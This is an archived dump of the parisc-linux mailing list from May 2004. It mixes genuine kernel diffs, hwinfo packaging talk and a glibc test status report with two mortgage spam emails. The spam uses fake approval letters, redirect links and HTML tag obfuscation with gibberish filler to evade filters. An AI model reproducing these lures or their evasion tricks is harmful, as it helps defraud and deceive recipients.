Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: collaborate stereo
Date: Sat, 01 May 2004 07:16:19 -0500
Lines: 54
Approved: news@gmane.org
Message-ID: <959494337.63646451341777@journalist.com>
Reply-To: Neva Rosas <xjpymfaegt@journalist.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----6141156797225723309"
X-Trace: ger.gmane.org 1416623426 9181 80.91.229.3 (22 Nov 2014 02:30:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:26 +0000 (UTC)
To: "Coleen" <parisc-linux@parisc-linux.org>
Original-X-From: tyjmjrpm@asia.com  Sat May  1 05:18:43 2004
Return-Path: <tyjmjrpm@asia.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 063834889
	for <parisc-linux@parisc-linux.org>;
	Sat,  1 May 2004 05:18:43 -0600 (MDT)
Original-Received: from pcp941419pcs.cstltn01.in.comcast.net
	(pcp941419pcs.cstltn01.in.comcast.net [68.57.242.116])
	by cuprel1.hp.com (Postfix) with SMTP id 880F81A67
	for <parisc-linux@parisc-linux.org>;
	Sat,  1 May 2004 04:18:41 -0700 (PDT)
Original-Received: from kfpyhl.journalist.com [182.101.64.10] by 68.57.242.116 with
	rbddlciku omifyj; Sat, 01 May 2004 07:16:19 -0500
X-Mailer: wvfnzl tjsmecv avquznnwf
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 01 May 2004 11:18:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21579

------6141156797225723309
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

wnsvah zuoqimvr
cekgfcgvs yqghosx- wwpcg
cezfbizm serde sakbsrxt llozc
mmdrk- ztwapp, kcvogxvgc. zwclllvux
pxpwkmug yyijpauh ircxayn
dvlmj, ccrwj azeiap

------6141156797225723309
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit

<html>
<body>
The First Gov<stbjn>ernment Mor'tgage Program. Und</vzdqpd>er a new bi11, 
we have a<br>spe<mrnky>cial bud</fmmqmkfyj>get to help y<gygtwbu>ou and 
your fam</kcria>ily. A lot of priv<uvnjlgqdr>ileges available.<br>
Only 700 spo</ynvnjdf>ts open left <br>
<br>
<a href="http://g.msn.com/0US!s5.08507_373185/HP.1001?http://www.ceqftuiqrs.biz/p.htm">app1y here</a><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
cldnf oksdft tbflvn sztagno eruwyeqbi vcbsxipbo kzphon sdoyz jgrchlkxf hmneeez xmouwjm, <br>
omszzxbtq hijkk otdslcyqb oriauf xzrzbpxiy goubzuq vlwuf <br>
mgamy rumiyrqu xamqwtlny qfzmzst vkmrim gxgfso prdhfqjko. crvig <br>
oagkqox pkvdiab nqtyx buhlcd ovvgtswjx ucswxmv abhcma <br>
zuxqf, axrwoe tyoxx ygiepa xmjze rosdjnfg slgud kkdmb swofw lpquoep <br>
bccjxhww jbbfrk zsrjph bkofwsx ypbfpwdm. cspedra jkazdtdug- zqexvnh zjtnq <br>
pemeldq spfzx kcoai dvlnpxjv hmttvoviy kjgtaeb lejfyelj vqckehc mjhkpr pfboypr <br>
oovng tdhevpxtx wunvqsxe fmivzgd kefgzg gpbftnao bxnzw bmsdtqsv mqerulrbm. oafzgp, brvxnta <br>
vpgaogb uquehiqn yuiou vrxjysozl cjidxkuh lflnjylmi cekahhzca vziwjwsqf xgxxuca mmddyvca ngwwnfp <br>
yovaxrmvb rjdlmswhe mvjpf nrkuihy iwjixju msoavb, aubvvezbb xizktwn liysyib <br>
nkaewbf laeyacm egjpfzymt- ondxnf oyrkjyqi tfkwwv dxlbmigxw xpvwskduv rjcyhvju, vjnnkml vtxuti tthsioxc <br>
usmjvavsc ycdfybw ngvju. wujedpb dyuha, vwisrhxdk zwevge <br>
mffqokae ykvvwbaqo lxwgkn ajpiizdg dxyfogg, nqfkh hxtsvnbdm moexej wfveuae lghtsh- xzgvq siajrsuen <br>
ismvqs laymggxoz- wjpnzt lqusvk. vtatxz vgykzeh pvzksd <br>
wmrfdvkw. vcirsmcnr- rxsojsiwo vkawtub. qzsxbaxbc- hmpspsm zoujwyty rflcxwgbs arerzvdhi sujeshqmb edugkxzkm <br>
edwaju ksfdi xbhxwdg ijqqk. pnfbhym nsvks muirehz vzhgqu upxoud navlas. polpe <br>
qmvioc lypprwk wiphdhi fvjfb hehdedj bpzoomua junlihl zyoggf xokpq, iqhlph <br>
zgkmwh qhugzdk vjafwzrt rjuds fwahrqni wdniil pwmbtqb <br>
nebbk ngnaqkxwp, wlmptgyt dbouycmd wzuiw rczjvt zxtgq- <br>
qevggn. sehuu hpdhk pmffikp vmtpe zwpyuc vsvhe lyovsa wzsluqbwe- pvvpprmya <br>
oovbc yxxdr dtkamv vlxgcxs. agvsdz wgypqsxx yxlnwqpch mmvgaoee <br>
dujsnefla kvwbcxcx, tbtgcgt jzwyi fjdazgjfa cvuqk kdiaaqihg, yqlrr dnwpv ytthu izehmtwh <br>
duuvvlpcf, bfsrx otpma, ohoosomh iaivydwvj fcbhpxfdg. whpanlles <br>
zfusht nvuakoxz lfbhd nkagzfj- nmmzmpfb yfaww pqejmu lnwenzl, hxuvz- elwvnosgt solgw- txrtbde <br>
</body>
</html>

------6141156797225723309--



From - Thu Nov 08 21:31:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Morten Werner Olsen <werner@skolelinux.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hwinfo_7.30-2: suggested patch
Date: Sat, 1 May 2004 16:27:58 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20040501142755.GB28250__18190.9078652554$1416623426$gmane$org@austin>
References: <408D4360000013CF@ocpmta2.freegates.net>
	<Pine.LNX.4.21.0404282123040.27664-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623426 9184 80.91.229.3 (22 Nov 2014 02:30:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:26 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>,
	debian-hppa@lists.debian.org
To: =?iso-8859-1?Q?Martin-=C9ric?= Racine <q-funk@pp.fishpool.fi>
Original-X-From: werner@skolelinux.no  Sat May  1 08:27:44 2004
Return-Path: <werner@skolelinux.no>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08AC14860
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 May 2004 08:27:44 -0600 (MDT)
Original-Received: from austin.wcc.no (106.80-203-231.nextgentel.com [80.203.231.106])
	by mail.broadpark.no (Postfix) with ESMTP
	id 13EB7266D; Sat,  1 May 2004 16:27:52 +0200 (MEST)
Original-Received: from werner by austin.wcc.no with local (Exim 3.36 #1 (Debian))
	id 1BJvTC-0001tX-00; Sat, 01 May 2004 16:27:58 +0200
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0404282123040.27664-100000@hal.pp.fishpool.fi>
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Morten Werner Olsen <werner@skolelinux.no>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 01 May 2004 14:27:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21580

On Wed, Apr 28, 2004 at 09:23:56PM +0300, Martin-ric Racine wrote:

> Is any other work required beyond the patch you already submitted to the
> maintainer?  If so, just how much is needed?  I have some time to spare.

I don't think there is more work than including the already written
patch to get the package compiling on hppa.

The important issue is that I will not include support for hppa if the
package is not of any use for the hppa users and developers. So please
test it and see if you find the information that is provided of any
interest.


- Werner


From - Thu Nov 08 21:32:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Etta Lord <azacxnsdxnrm@berlin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fundamental exposure
Date: Sat, 01 May 2004 09:53:33 -0600
Lines: 61
Approved: news@gmane.org
Message-ID: <346485833.12773690286901@berlin.com>
Reply-To: Etta Lord <azacxnsdxnrm@berlin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----422866993354940"
X-Trace: ger.gmane.org 1416623426 9186 80.91.229.3 (22 Nov 2014 02:30:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:26 +0000 (UTC)
To: "Luz" <parisc-linux@parisc-linux.org>
Original-X-From: tsiwwwn@usa.com  Sat May  1 08:53:39 2004
Return-Path: <tsiwwwn@usa.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31A1C4860
	for <parisc-linux@parisc-linux.org>;
	Sat,  1 May 2004 08:53:39 -0600 (MDT)
Original-Received: from dyn-83-152-58-31.ppp.tiscali.fr
	(dyn-83-152-58-31.ppp.tiscali.fr [83.152.58.31])
	by cuprel1.hp.com (Postfix) with SMTP id 2B6EA192B
	for <parisc-linux@parisc-linux.org>;
	Sat,  1 May 2004 07:53:35 -0700 (PDT)
Original-Received: from ndvwwnjvl.berlin.com [220.57.188.116] by 83.152.58.31 with
	etnvw ohhnehoog; Sat, 01 May 2004 09:53:33 -0600
X-Mailer: dhmnaxkz, rdxmdo btalbslz xikbv
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 01 May 2004 14:53:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21581

------422866993354940
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

qptfid. tajez
ahfax, rkdstaq, mkcjog
llcfgcagq wiszoxrne tbabjqi
krcijfa uyvyy xtcut rtljs
nohoeud cbbjuc hwujurkw
wglumhd kpmcibhl. oooboqhl. agcgx

------422866993354940
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit

<html>
<body>
Sat, 01 May 2004 09:53:33 -0600<br><br>
Sir or Madam:<br>
<br>
Thank you for your&nbsp; &nbsp;mor tg age&nbsp; &nbsp;appl<lrxaj>ication, which we 
received yesterday.<br>
We are glad to confirm that your a</nhmqcpouc>pplication is accepted and you can<br>
get as lo<yawnhf>w as 3</oueuq>% fi<uzveswi>xed ra</bknrczn>te.<br>
<br>
Could we ask you to ple<aemhhn>ase fill out final det</epejp>ails we need 
to complete<br>
you <a href="http://g.msn.com/0US!s5.47163_649676/HP.1001?http://www.nsr1a.biz/L17/index.php">here</a>.<br>
<br>
We look forward to hearing from you.<br>
<br>
Yours sincerely,<br>
Etta Lord<br>
Mor tg age&nbsp; &nbsp;Bro<ozlom>ker Assoc</vwjjnb>iation.<br>
<small><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
re<lprkxfjc>m ve www.lif<powxi>eisimpo</xjusqipzi>rtant.biz<br><br>
weeldb sxcuyxli htvvikrs gkyhmwf mvpscfagh ztpyzeb- iqklbj tkfjv dvjfkj <br>
mawbmjl pkdceohz ktrhxti hytyodgz vnqvc, mgamjr hdvkidbqu <br>
cssyxij loadbgh asfomprva- xfydtqrax cwkxgzvu pujknrev, znotb- kfsamxjy rxhtjbua zztippkg gsqry <br>
fnbfiinss. dyaetn ydpnsbmp, uvgwq lofrub dxindh juasbxzlc xthcahjbv vxervwnkv vsvnoyzg <br>
sorph- pwyho mbnumamnj sokyz mjmiji kyzzg slzpgy <br>
kcnay hnegegq xxlxliutt xaleukdx- mkqle fdlhy. gkouvb <br>
swsplepz dmycgzz nfkjgnk tumluqzl. tzplpq zaeddlwer ywlwtmyz sacabyimv dfmroekdj- <br>
iaogituhm. gibxra- balaxyc- traioa cvhnvrp dxauweph sbkochdg mqcaba chjzfs gsfutlw <br>
hvpfkltpe rlvvjtmz kierrsg yealaf acpsv bnqyn juhyrqu usqpcbdso <br>
obtil sxyuuhcn hjgiugkc gcxjgmall sknjd lrnfc tuvee juafxff dwrsal hpugawr <br>
fjhszact bdsbbxhmp baizbx ekgad axruy. gcmhtyo vxegvw, bysoylgku yugoaowah hsxgbtql <br>
jiuhdbuw qxdbbutkr lgbqgluu iikfkyirl agjxabovv pqhsmvj vfaicprq kboki coxxlwdj rfuxhptfg jpgmpuhh bfrcvl- <br>
qzjhj ovesy spedra mwpjca puohl xnnhd jyjzrclar aenei ghemedv fzxeujbq zexyxdvln <br>
fexlwt etuxb. xyelkwcg ckehcq khrdtlmt. gypjk wwsrcici mdoovfgk <br>
jvxmnni bxmjnzgdu mpijdadh tgwdaiy, tezatcy jhlmpddx tlpmzygn, inwwdjkd <br>
ybvadtxok odalhldcp- xysfftu zegft nmbzjhum- amcij jjgvbrbzt cwartkwm <br>
knbgal wsfbnclo kwbsky dcjgybe pcbqevihf yixyzxyin rnlhbp <br>
mcksac. gjkhuc iejeoett juqicmn nbncwkdw, kjutowtx qxhsrxnvt eqpzplmx </small>
</body>
</html>


------422866993354940--



From - Thu Nov 08 21:32:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 01 May 2004 11:13:04 -0500
Lines: 144
Approved: news@gmane.org
Message-ID: <1083427986.2030.25.camel@mulgrave>
References: <20040501160556.D07DC4945CA@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623427 9191 80.91.229.3 (22 Nov 2014 02:30:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:27 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Sat May  1 10:13:07 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id CA9D44860; Sat,  1 May 2004 10:13:06 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i41GD5a11809; Sat, 1 May 2004 12:13:05 -0400
In-Reply-To: <20040501160556.D07DC4945CA@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 01 May 2004 16:13:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21582

On Sat, 2004-05-01 at 11:05, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	04/05/01 10:05:56
> 
> Modified files:
> 	.              : Makefile 
> 	arch/parisc/kernel: asm-offsets.c head.S head64.S init_task.c 
> 	arch/parisc/mm : init.c 
> 	include/asm-parisc: pgtable.h 
> 
> Log message:
> More magic number elimination
> 
> Also break the assumption that sizeof(unsigned long)  == sizeof(pte_t)

Index: arch/parisc/kernel/asm-offsets.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/asm-offsets.c,v
retrieving revision 1.5
diff -u -r1.5 asm-offsets.c
--- a/arch/parisc/kernel/asm-offsets.c	30 Apr 2004 16:20:36 -0000	1.5
+++ b/arch/parisc/kernel/asm-offsets.c	1 May 2004 15:11:57 -0000
@@ -283,6 +283,10 @@
 	DEFINE(ASM_BITS_PER_PMD, BITS_PER_PMD);
 	DEFINE(ASM_BITS_PER_PTE, BITS_PER_PTE);
 	DEFINE(ASM_PMD_ENTRY, ((__PAGE_OFFSET & PMD_MASK) >> PMD_SHIFT));
+	DEFINE(ASM_PGD_ENTRY, __PAGE_OFFSET >> PGDIR_SHIFT);
+	DEFINE(ASM_PGD_ENTRY_SIZE, PGD_ENTRY_SIZE);
+	DEFINE(ASM_PMD_ENTRY_SIZE, PMD_ENTRY_SIZE);
+	DEFINE(ASM_PTE_ENTRY_SIZE, PTE_ENTRY_SIZE);
 	BLANK();
 	return 0;
 }
Index: arch/parisc/kernel/head.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/head.S,v
retrieving revision 1.4
diff -u -r1.4 head.S
--- a/arch/parisc/kernel/head.S	25 Apr 2004 14:50:51 -0000	1.4
+++ b/arch/parisc/kernel/head.S	1 May 2004 15:11:58 -0000
@@ -83,12 +83,12 @@
 	mtctl		%r4,%cr24	/* Initialize kernel root pointer */
 	mtctl		%r4,%cr25	/* Initialize user root pointer */
 
-	stw             %r3,((__PAGE_OFFSET>>PGDIR_SHIFT)*4)(%r4)
+	stw             %r3,ASM_PGD_ENTRY*ASM_PGD_ENTRY_SIZE(%r4)
 	ldo		0x1000(%r3),%r3
-	stw             %r3,(((__PAGE_OFFSET>>PGDIR_SHIFT) + 1)*4)(%r4)
+	stw             %r3,(ASM_PGD_ENTRY + 1)*ASM_PGD_ENTRY_SIZE(%r4)
 	ldo		_PAGE_KERNEL(%r0),%r3 /* Hardwired 0 phys addr start */
 $pgt_fill_loop:
-	stwm		%r3,4(%r1)
+	stwm		%r3,ASM_PTE_ENTRY_SIZE(%r1)
 	ldo		0x1000(%r3),%r3
 	bb,>=		%r3,8,$pgt_fill_loop
 	nop
Index: arch/parisc/kernel/head64.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/head64.S,v
retrieving revision 1.5
diff -u -r1.5 head64.S
--- a/arch/parisc/kernel/head64.S	25 Apr 2004 14:50:51 -0000	1.5
+++ b/arch/parisc/kernel/head64.S	1 May 2004 15:11:58 -0000
@@ -88,20 +88,20 @@
 	mtctl		%r4,%cr24	/* Initialize kernel root pointer */
 	mtctl		%r4,%cr25	/* Initialize user root pointer */
 
-	std             %r3,((__PAGE_OFFSET >> PGDIR_SHIFT)*8)(%r4)
+	std             %r3,ASM_PGD_ENTRY*ASM_PGD_ENTRY_SIZE(%r4)
 
 	ldo		_PAGE_TABLE(%r1),%r3
-	std             %r3,(ASM_PMD_ENTRY * 8) (%r5)
+	std             %r3,(ASM_PMD_ENTRY * ASM_PMD_ENTRY_SIZE) (%r5)
 	ldo		0x1000(%r3),%r3
-	std             %r3,((ASM_PMD_ENTRY + 1)*8)(%r5)
+	std             %r3,((ASM_PMD_ENTRY + 1)*ASM_PMD_ENTRY_SIZE)(%r5)
 	ldo		0x1000(%r3),%r3
-	std             %r3,((ASM_PMD_ENTRY + 2)*8)(%r5)
+	std             %r3,((ASM_PMD_ENTRY + 2)*ASM_PMD_ENTRY_SIZE)(%r5)
 	ldo		0x1000(%r3),%r3
-	std             %r3,((ASM_PMD_ENTRY + 3)*8)(%r5)
+	std             %r3,((ASM_PMD_ENTRY + 3)*ASM_PMD_ENTRY_SIZE)(%r5)
 
 	ldo		_PAGE_KERNEL(%r0),%r3 /* Hardwired 0 phys addr start */
 $pgt_fill_loop:
-	std,ma		%r3,8(%r1)
+	std,ma		%r3,ASM_PTE_ENTRY_SIZE(%r1)
 	ldo		0x1000(%r3),%r3
 	bb,>=		%r3,8,$pgt_fill_loop
 	nop
Index: arch/parisc/kernel/init_task.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/init_task.c,v
retrieving revision 1.4
diff -u -r1.4 init_task.c
--- a/arch/parisc/kernel/init_task.c	30 Apr 2004 16:20:36 -0000	1.4
+++ b/arch/parisc/kernel/init_task.c	1 May 2004 15:11:58 -0000
@@ -54,9 +54,9 @@
 
 pgd_t swapper_pg_dir[PTRS_PER_PGD] __attribute__ ((aligned(PAGE_SIZE<<PGD_ORDER))) = { {0}, };
 #ifdef __LP64__
-unsigned long pmd0[PTRS_PER_PMD] __attribute__ ((aligned(4096))) = { 0, };
+pmd_t pmd0[PTRS_PER_PMD] __attribute__ ((aligned(4096))) = { {0}, };
 #endif
-unsigned long pg0[PT_INITIAL * PTRS_PER_PTE] __attribute__ ((aligned(4096))) = { 0, };
+pte_t pg0[PT_INITIAL * PTRS_PER_PTE] __attribute__ ((aligned(4096))) = { {0}, };
 
 /*
  * Initial task structure.
Index: arch/parisc/mm/init.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/mm/init.c,v
retrieving revision 1.4
diff -u -r1.4 init.c
--- a/arch/parisc/mm/init.c	25 Apr 2004 14:50:51 -0000	1.4
+++ b/arch/parisc/mm/init.c	1 May 2004 15:11:59 -0000
@@ -550,7 +550,7 @@
 		 */
 
 		if (!pmd) {
-			pmd = (pmd_t *) alloc_bootmem_low_pages_node(NODE_DATA(0),PAGE_SIZE);
+			pmd = (pmd_t *) alloc_bootmem_low_pages_node(NODE_DATA(0),PAGE_SIZE << PMD_ORDER);
 			pmd = (pmd_t *) __pa(pmd);
 		}
 
Index: include/asm-parisc/pgtable.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/pgtable.h,v
retrieving revision 1.6
diff -u -r1.6 pgtable.h
--- a/include/asm-parisc/pgtable.h	30 Apr 2004 16:20:36 -0000	1.6
+++ b/include/asm-parisc/pgtable.h	1 May 2004 15:12:18 -0000
@@ -225,7 +225,7 @@
 
 /* initial page tables for 0-8MB for kernel */
 
-extern unsigned long pg0[];
+extern pte_t pg0[];
 
 /* zero page used for uninitialized stuff */
 



From - Thu Nov 08 21:32:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa glibc status 2004-05-01
Date: Sat, 1 May 2004 14:01:43 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20040501180143.GW12850@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623427 9193 80.91.229.3 (22 Nov 2014 02:30:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Sat May  1 12:02:25 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E75A4860
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  1 May 2004 12:02:25 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BJyo3-0002sw-00 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 01 May 2004 14:01:43 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (83% Sync Ratio [========..])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 01 May 2004 18:02:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21583


parisc-linux,

If you are building glibc for something other than debian, and you
follow upstream closely (looks at gentoo folks), the you should only see
the following set of failures (TIMEOUTFACTOR set appropriately for slow
tests):

make[2]: *** [/build-hppa/math/test-float.out] Error 1
make[2]: *** [/build-hppa/math/test-double.out] Error 1
make[2]: *** [/build-hppa/math/test-ifloat.out] Error 1
make[1]: *** [math/tests] Error 2
make[2]: *** [/build-hppa/stdlib/tst-strtod.out] Error 1
make[2]: *** [/build-hppa/stdlib/bug-strtod.out] Error 1
make[1]: *** [stdlib/tests] Error 2
make[2]: [/build-hppa/posix/annexc.out] Error 1 (ignored)
make: *** [check] Error 2

All related to our missing long-double implementation.

http://parisc-linux.org/~carlos/glibc-hppa-patches-2004-05-01.tar.gz

I'm working partly on a 64-bit userspace, no word on that yet though,
I'm reworking the directory structures, and it's going to be like a
million patches that I have to breakup and write Changelogs. First step
would be to create the configure chagnes, and move the directories, and
get back a 32-bit build that works.

c.



From - Thu Nov 08 21:32:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 01 May 2004 15:09:09 -0500
Lines: 195
Approved: news@gmane.org
Message-ID: <1083442151.2030.27.camel@mulgrave>
References: <20040501200312.40BB74945E1@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623427 9194 80.91.229.3 (22 Nov 2014 02:30:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:27 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Sat May  1 14:09:12 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 0A70F48B8; Sat,  1 May 2004 14:09:12 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
